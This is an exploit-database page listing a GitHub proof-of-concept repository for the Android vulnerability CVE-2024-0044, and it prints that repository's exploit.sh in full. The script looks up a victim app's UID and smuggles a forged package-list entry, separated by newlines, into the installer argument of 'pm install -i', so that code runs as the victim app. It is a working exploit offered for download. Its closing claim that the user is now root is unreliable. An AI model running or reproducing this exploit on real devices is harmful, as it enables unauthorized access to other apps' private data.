Exploit database

GH-64da6bf79f28f3dd304fa1a37a1f28e2

scs-labrat/android_autorooter

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-0044

15 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
scs-labrat/android_autorooterRevision 427897920e01

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.sh

Shell · 913 bytes
#!/bin/bash

# Function to get the package UID
get_package_uid() {
    package_name=$1
    pm list packages -U | grep "package:$package_name" | sed -n "s/^package:$package_name uid://p"
}

# Function to inject the payload
inject_payload() {
    target_package=$1
    payload=$2
    # Use pm install to inject the payload
    pm install -i "$payload" any-app.apk
}

# Example package to exploit
victim_package="com.example.victim"

# Get the UID of the victim package
UID=$(get_package_uid $victim_package)

# Check if UID retrieval was successful
if [ -z "$UID" ]; then
    echo "Failed to retrieve UID for package $victim_package"
    exit 1
fi

# Construct the payload
PAYLOAD="@null
victim $UID 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"

# Inject the payload
inject_payload $victim_package "$PAYLOAD"

echo "Payload injected successfully. YOu're notw root.. My my my you are 1337 aren't you"